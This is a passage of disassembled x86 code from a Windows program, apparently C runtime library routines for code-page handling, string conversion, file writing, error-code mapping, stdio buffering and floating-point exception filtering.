		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_41F188	; LCMapStringW
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_41A152
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_41A166
		cmp	[ebp+arg_14], edi
		jz	loc_41A1E1
		cmp	esi, [ebp+arg_14]
		jg	short loc_41A152
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_41F188	; LCMapStringW
		test	eax, eax
		jnz	loc_41A1E1


loc_41A152:				; CODE XREF: sub_419FC4+66j
					; sub_419FC4+B5j ...
		xor	eax, eax


loc_41A154:				; CODE XREF: sub_419FC4+ADj
					; sub_419FC4+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41A166:				; CODE XREF: sub_419FC4+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_413E60
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41A19A
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_41A19A:				; CODE XREF: sub_419FC4+1C2j
		cmp	ebx, edi
		jz	short loc_41A152
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_41F188	; LCMapStringW
		test	eax, eax
		jz	short loc_41A152
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_41A1C1
		push	edi
		push	edi
		jmp	short loc_41A1C7
; ---------------------------------------------------------------------------


loc_41A1C1:				; CODE XREF: sub_419FC4+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_41A1C7:				; CODE XREF: sub_419FC4+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		call	ds:dword_41F10C	; WideCharToMultiByte
		mov	esi, eax
		cmp	esi, edi
		jz	loc_41A152


loc_41A1E1:				; CODE XREF: sub_419FC4+165j
					; sub_419FC4+188j
		mov	eax, esi
		jmp	loc_41A154
sub_419FC4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A1E8	proc near		; CODE XREF: sub_419FC4+81p
					; sub_41DB68+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_41A205


loc_41A1F8:				; CODE XREF: sub_41A1E8+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_41A205
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_41A1F8


loc_41A205:				; CODE XREF: sub_41A1E8+Ej
					; sub_41A1E8+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_41A210
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_41A210:				; CODE XREF: sub_41A1E8+21j
		mov	eax, edx
		retn
sub_41A1E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A213	proc near		; CODE XREF: sub_41A5D7+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41A3AC	; GetACP
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_743644
		mov	[ebp+arg_0], esi
		jz	loc_41A3A0
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_41A396
		xor	edx, edx
		mov	eax, offset dword_437B30


loc_41A247:				; CODE XREF: sub_41A213+41j
		cmp	[eax], esi
		jz	short loc_41A2BD
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_437C20
		jl	short loc_41A247
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	ds:dword_41F18C	; GetCPInfo
		cmp	eax, 1
		jnz	loc_41A38E
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_743760
		cmp	[ebp+var_18], 1
		mov	dword_743644, esi
		rep stosd
		stosb
		mov	dword_743864, ebx
		jbe	loc_41A37C
		cmp	[ebp+var_12], 0
		jz	loc_41A352
		lea	ecx, [ebp+var_11]


loc_41A29A:				; CODE XREF: sub_41A213+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_41A352
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_41A2AB:				; CODE XREF: sub_41A213+A8j
		cmp	eax, edx
		ja	loc_41A346
		or	byte_743761[eax], 4
		inc	eax
		jmp	short loc_41A2AB
; ---------------------------------------------------------------------------


loc_41A2BD:				; CODE XREF: sub_41A213+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_743760
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_437B40[esi]


loc_41A2D9:				; CODE XREF: sub_41A213+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_41A30C


loc_41A2E0:				; CODE XREF: sub_41A213+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_41A30C
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_41A305
		mov	edx, [ebp+var_4]
		mov	dl, byte_437B28[edx]


loc_41A2FA:				; CODE XREF: sub_41A213+F0j
		or	byte_743761[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_41A2FA


loc_41A305:				; CODE XREF: sub_41A213+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_41A2E0


loc_41A30C:				; CODE XREF: sub_41A213+CBj
					; sub_41A213+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_41A2D9
		mov	eax, [ebp+arg_0]
		mov	dword_74365C, 1
		push	eax
		mov	dword_743644, eax
		call	sub_41A3F6
		lea	esi, dword_437B34[esi]
		mov	edi, offset dword_743650
		movsd
		movsd
		pop	ecx
		mov	dword_743864, eax
		movsd
		jmp	short loc_41A39B
; ---------------------------------------------------------------------------


loc_41A346:				; CODE XREF: sub_41A213+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_41A29A


loc_41A352:				; CODE XREF: sub_41A213+7Ej
					; sub_41A213+8Bj
		push	1
		pop	eax


loc_41A355:				; CODE XREF: sub_41A213+14Fj
		or	byte_743761[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_41A355
		push	esi
		call	sub_41A3F6
		pop	ecx
		mov	dword_743864, eax
		mov	dword_74365C, 1
		jmp	short loc_41A382
; ---------------------------------------------------------------------------


loc_41A37C:				; CODE XREF: sub_41A213+74j
		mov	dword_74365C, ebx


loc_41A382:				; CODE XREF: sub_41A213+167j
		xor	eax, eax
		mov	edi, offset dword_743650
		stosd
		stosd
		stosd
		jmp	short loc_41A39B
; ---------------------------------------------------------------------------


loc_41A38E:				; CODE XREF: sub_41A213+51j
		cmp	dword_7422D0, ebx
		jz	short loc_41A3A4


loc_41A396:				; CODE XREF: sub_41A213+27j
		call	sub_41A429


loc_41A39B:				; CODE XREF: sub_41A213+131j
					; sub_41A213+179j
		call	sub_41A452


loc_41A3A0:				; CODE XREF: sub_41A213+1Dj
		xor	eax, eax
		jmp	short loc_41A3A7
; ---------------------------------------------------------------------------


loc_41A3A4:				; CODE XREF: sub_41A213+181j
		or	eax, 0FFFFFFFFh


loc_41A3A7:				; CODE XREF: sub_41A213+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A213	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A3AC	proc near		; CODE XREF: sub_41A213+Cp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0075621B SIZE 0000000B BYTES

		mov	eax, [esp+arg_0]
		and	dword_7422D0, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_41A3CC
		mov	dword_7422D0, 1
		jmp	ds:off_41F194
; ---------------------------------------------------------------------------


loc_41A3CC:				; CODE XREF: sub_41A3AC+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_41A3E1
		mov	dword_7422D0, 1
		jmp	ds:dword_41F190
; ---------------------------------------------------------------------------


loc_41A3E1:				; CODE XREF: sub_41A3AC+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_41A3F5
		mov	eax, dword_7422C4
		mov	dword_7422D0, 1

locret_41A3F5:				; CODE XREF: sub_41A3AC+38j
		retn
sub_41A3AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A3F6	proc near		; CODE XREF: sub_41A213+118p
					; sub_41A213+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_41A423
		sub	eax, 4
		jz	short loc_41A41D
		sub	eax, 0Dh
		jz	short loc_41A417
		dec	eax
		jz	short loc_41A411
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41A411:				; CODE XREF: sub_41A3F6+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_41A417:				; CODE XREF: sub_41A3F6+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_41A41D:				; CODE XREF: sub_41A3F6+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_41A423:				; CODE XREF: sub_41A3F6+9j
		mov	eax, 411h
		retn
sub_41A3F6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A429	proc near		; CODE XREF: sub_41A213:loc_41A396p
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_743760
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_743650
		mov	dword_743644, eax
		mov	dword_74365C, eax
		mov	dword_743864, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_41A429	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A452	proc near		; CODE XREF: sub_41A213:loc_41A39Bp

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_743644
		call	ds:dword_41F18C	; GetCPInfo
		cmp	eax, 1
		jnz	loc_41A58B
		xor	eax, eax
		mov	esi, 100h


loc_41A47C:				; CODE XREF: sub_41A452+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_41A47C
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_41A4CD
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_41A49B:				; CODE XREF: sub_41A452+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_41A4C2
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_41A4C2:				; CODE XREF: sub_41A452+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_41A49B
		pop	edi
		pop	ebx


loc_41A4CD:				; CODE XREF: sub_41A452+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_743864
		push	dword_743644
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_41B513
		push	0
		lea	eax, [ebp+var_214]
		push	dword_743644
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_743864
		call	sub_419FC4
		push	0
		lea	eax, [ebp+var_314]
		push	dword_743644
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_743864
		call	sub_419FC4
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_41A548:				; CODE XREF: sub_41A452+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_41A566
		or	byte_743761[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_41A55E:				; CODE XREF: sub_41A452+127j
		mov	byte_743660[eax], dl
		jmp	short loc_41A582
; ---------------------------------------------------------------------------


loc_41A566:				; CODE XREF: sub_41A452+FCj
		test	dl, 2
		jz	short loc_41A57B
		or	byte_743761[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_41A55E
; ---------------------------------------------------------------------------


loc_41A57B:				; CODE XREF: sub_41A452+117j
		and	byte_743660[eax], 0


loc_41A582:				; CODE XREF: sub_41A452+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_41A548
		jmp	short loc_41A5D4
; ---------------------------------------------------------------------------


loc_41A58B:				; CODE XREF: sub_41A452+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_41A592:				; CODE XREF: sub_41A452+180j
		cmp	eax, 41h
		jb	short loc_41A5B0
		cmp	eax, 5Ah
		ja	short loc_41A5B0
		or	byte_743761[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_41A5A8:				; CODE XREF: sub_41A452+174j
		mov	byte_743660[eax], cl
		jmp	short loc_41A5CF
; ---------------------------------------------------------------------------


loc_41A5B0:				; CODE XREF: sub_41A452+143j
					; sub_41A452+148j
		cmp	eax, 61h
		jb	short loc_41A5C8
		cmp	eax, 7Ah
		ja	short loc_41A5C8
		or	byte_743761[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_41A5A8
; ---------------------------------------------------------------------------


loc_41A5C8:				; CODE XREF: sub_41A452+161j
					; sub_41A452+166j
		and	byte_743660[eax], 0


loc_41A5CF:				; CODE XREF: sub_41A452+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_41A592


loc_41A5D4:				; CODE XREF: sub_41A452+137j
		pop	esi
		leave
		retn
sub_41A452	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A5D7	proc near		; CODE XREF: sub_41AADF+9p
					; sub_41AB37+Dp ...
		cmp	dword_74388C, 0
		jnz	short locret_41A5F2
		push	0FFFFFFFDh
		call	sub_41A213
		pop	ecx
		mov	dword_74388C, 1

locret_41A5F2:				; CODE XREF: sub_41A5D7+7j
		retn
sub_41A5D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A5F3	proc near		; CODE XREF: sub_415628+2Bp
					; sub_415628+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_74365C, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_41A617
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_415140
		add	esp, 0Ch
		jmp	short loc_41A67A
; ---------------------------------------------------------------------------


loc_41A617:				; CODE XREF: sub_41A5F3+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_41A65C
		mov	ecx, [ebp+arg_4]


loc_41A622:				; CODE XREF: sub_41A5F3+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_743761[esi], 4
		mov	[edi], al
		jz	short loc_41A646
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_41A652
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_41A658
		jmp	short loc_41A64C
; ---------------------------------------------------------------------------


loc_41A646:				; CODE XREF: sub_41A5F3+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_41A65C


loc_41A64C:				; CODE XREF: sub_41A5F3+51j
		test	edx, edx
		jnz	short loc_41A622
		jmp	short loc_41A65C
; ---------------------------------------------------------------------------


loc_41A652:				; CODE XREF: sub_41A5F3+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_41A65C
; ---------------------------------------------------------------------------


loc_41A658:				; CODE XREF: sub_41A5F3+4Fj
		and	byte ptr [edi-2], 0


loc_41A65C:				; CODE XREF: sub_41A5F3+2Aj
					; sub_41A5F3+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_41A677
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_41A677:				; CODE XREF: sub_41A5F3+6Fj
		mov	eax, [ebp+arg_0]


loc_41A67A:				; CODE XREF: sub_41A5F3+22j
		pop	edi
		pop	ebp
		retn
sub_41A5F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A67D	proc near		; CODE XREF: sub_4158DF+A2p
					; sub_415F50+95p ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_743640
		push	esi
		push	edi
		jnb	loc_41A811
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:743540h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_41A811
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_41A6CE


loc_41A6C7:				; CODE XREF: sub_41A67D+177j
		xor	eax, eax
		jmp	loc_41A825
; ---------------------------------------------------------------------------


loc_41A6CE:				; CODE XREF: sub_41A67D+48j
		test	al, 20h
		jz	short loc_41A6DE
		push	2
		push	edi
		push	ecx
		call	sub_419DD2
		add	esp, 0Ch


loc_41A6DE:				; CODE XREF: sub_41A67D+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_41A7AD
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_41A7E5


loc_41A6FE:				; CODE XREF: sub_41A67D+F5j
		lea	eax, [ebp+var_414]


loc_41A704:				; CODE XREF: sub_41A67D+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41A738
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_41A723
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_41A723:				; CODE XREF: sub_41A67D+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_41A704


loc_41A738:				; CODE XREF: sub_41A67D+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	ds:dword_41F054	; WriteFile
		test	eax, eax
		jz	short loc_41A7A2
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_41A774
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_41A6FE


loc_41A774:				; CODE XREF: sub_41A67D+EAj
					; sub_41A67D+12Ej
		xor	edi, edi


loc_41A776:				; CODE XREF: sub_41A67D+150j
					; sub_41A67D+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_41A80C
		cmp	[ebp+arg_0], edi
		jz	short loc_41A7E5
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_41A7DA
		mov	dword_74222C, 9
		mov	dword_742230, eax
		jmp	loc_41A822
; ---------------------------------------------------------------------------


loc_41A7A2:				; CODE XREF: sub_41A67D+E0j
		call	ds:off_41F06C
		mov	[ebp+arg_0], eax
		jmp	short loc_41A774
; ---------------------------------------------------------------------------


loc_41A7AD:				; CODE XREF: sub_41A67D+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		call	ds:dword_41F054	; WriteFile
		test	eax, eax
		jz	short loc_41A7CF
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_41A776
; ---------------------------------------------------------------------------


loc_41A7CF:				; CODE XREF: sub_41A67D+145j
		call	ds:off_41F06C
		mov	[ebp+arg_0], eax
		jmp	short loc_41A776
; ---------------------------------------------------------------------------


loc_41A7DA:				; CODE XREF: sub_41A67D+10Fj
		push	[ebp+arg_0]
		call	sub_41A82A
		pop	ecx
		jmp	short loc_41A822
; ---------------------------------------------------------------------------


loc_41A7E5:				; CODE XREF: sub_41A67D+7Bj
					; sub_41A67D+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_41A7FA
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_41A6C7


loc_41A7FA:				; CODE XREF: sub_41A67D+16Fj
		mov	dword_74222C, 1Ch
		mov	dword_742230, edi
		jmp	short loc_41A822
; ---------------------------------------------------------------------------


loc_41A80C:				; CODE XREF: sub_41A67D+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_41A825
; ---------------------------------------------------------------------------


loc_41A811:				; CODE XREF: sub_41A67D+15j
					; sub_41A67D+37j
		and	dword_742230, 0
		mov	dword_74222C, 9


loc_41A822:				; CODE XREF: sub_41A67D+120j
					; sub_41A67D+166j ...
		or	eax, 0FFFFFFFFh


loc_41A825:				; CODE XREF: sub_41A67D+4Cj
					; sub_41A67D+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A67D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A82A	proc near		; CODE XREF: sub_4159E9+16p
					; sub_415DB5+1Dp ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_742230, ecx
		mov	eax, offset dword_437C20


loc_41A83B:				; CODE XREF: sub_41A82A+1Ej
		cmp	ecx, [eax]
		jz	short loc_41A85F
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_437D88
		jl	short loc_41A83B
		cmp	ecx, 13h
		jb	short loc_41A86C
		cmp	ecx, 24h
		ja	short loc_41A86C
		mov	dword_74222C, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_41A85F:				; CODE XREF: sub_41A82A+13j
		mov	eax, dword_437C24[edx*8]
		mov	dword_74222C, eax
		retn
; ---------------------------------------------------------------------------


loc_41A86C:				; CODE XREF: sub_41A82A+23j
					; sub_41A82A+28j
		cmp	ecx, 0BCh
		jb	short loc_41A886
		cmp	ecx, 0CAh
		mov	dword_74222C, 8
		jbe	short locret_41A890


loc_41A886:				; CODE XREF: sub_41A82A+48j
		mov	dword_74222C, 16h

locret_41A890:				; CODE XREF: sub_41A82A+5Aj
		retn
sub_41A82A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A891	proc near		; CODE XREF: sub_415DDF+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_41B3CC
		test	eax, eax
		pop	ecx
		jz	short loc_41A91A
		cmp	esi, offset dword_437EC8
		jnz	short loc_41A8AF
		xor	eax, eax
		jmp	short loc_41A8BA
; ---------------------------------------------------------------------------


loc_41A8AF:				; CODE XREF: sub_41A891+18j
		cmp	esi, offset dword_437EE8
		jnz	short loc_41A91A
		push	1
		pop	eax


loc_41A8BA:				; CODE XREF: sub_41A891+1Cj
		inc	dword_7423EC
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_41A91A
		cmp	dword_7422D4[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:7422D4h[eax*4]
		mov	ebx, 1000h
		jnz	short loc_41A900
		push	ebx
		call	sub_413F0B
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_41A900
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_41A90D
; ---------------------------------------------------------------------------


loc_41A900:				; CODE XREF: sub_41A891+4Dj
					; sub_41A891+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_41A90D:				; CODE XREF: sub_41A891+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41A91A:				; CODE XREF: sub_41A891+10j
					; sub_41A891+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_41A891	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A91E	proc near		; CODE XREF: sub_415DDF+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_41A948
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_41A959
		push	esi
		call	sub_419849
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41A948:				; CODE XREF: sub_41A91E+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_41A959
		push	eax
		call	sub_419849
		pop	ecx


loc_41A959:				; CODE XREF: sub_41A91E+10j
					; sub_41A91E+32j
		pop	esi
		retn
sub_41A91E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A95B	proc near		; CODE XREF: .text:00415EF4p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	[ebp+arg_0]
		call	sub_41AA9C
		test	eax, eax
		pop	ecx
		jz	loc_41AA90
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_41AA90
		cmp	ebx, 5
		jnz	short loc_41A98C
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_41AA99
; ---------------------------------------------------------------------------


loc_41A98C:				; CODE XREF: sub_41A95B+23j
		cmp	ebx, 1
		jz	loc_41AA8B
		mov	ecx, dword_7422DC
		mov	[ebp+arg_0], ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_7422DC, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_41AA7B
		mov	ecx, dword_437E00
		mov	edx, dword_437E04
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_41A9DB
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:437D90h[esi*4]


loc_41A9D2:				; CODE XREF: sub_41A95B+7Ej
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_41A9D2


loc_41A9DB:				; CODE XREF: sub_41A95B+69j
		mov	eax, [eax]
		mov	esi, dword_437E0C
		cmp	eax, 0C000008Eh
		jnz	short loc_41A9F6
		mov	dword_437E0C, 83h
		jmp	short loc_41AA66
; ---------------------------------------------------------------------------


loc_41A9F6:				; CODE XREF: sub_41A95B+8Dj
		cmp	eax, 0C0000090h
		jnz	short loc_41AA09
		mov	dword_437E0C, 81h
		jmp	short loc_41AA66
; ---------------------------------------------------------------------------


loc_41AA09:				; CODE XREF: sub_41A95B+A0j
		cmp	eax, 0C0000091h
		jnz	short loc_41AA1C
		mov	dword_437E0C, 84h
		jmp	short loc_41AA66
; ---------------------------------------------------------------------------


loc_41AA1C:				; CODE XREF: sub_41A95B+B3j
		cmp	eax, 0C0000093h
		jnz	short loc_41AA2F
		mov	dword_437E0C, 85h
		jmp	short loc_41AA66
; ---------------------------------------------------------------------------


loc_41AA2F:				; CODE XREF: sub_41A95B+C6j
		cmp	eax, 0C000008Dh
		jnz	short loc_41AA42
		mov	dword_437E0C, 82h
		jmp	short loc_41AA66
; ---------------------------------------------------------------------------


loc_41AA42:				; CODE XREF: sub_41A95B+D9j
		cmp	eax, 0C000008Fh
		jnz	short loc_41AA55
		mov	dword_437E0C, 86h
		jmp	short loc_41AA66
; ---------------------------------------------------------------------------


loc_41AA55:				; CODE XREF: sub_41A95B+ECj
		cmp	eax, 0C0000092h
		jnz	short loc_41AA66
		mov	dword_437E0C, 8Ah


loc_41AA66:				; CODE XREF: sub_41A95B+99j
					; sub_41A95B+ACj ...
		push	dword_437E0C
		push	8
		call	ebx
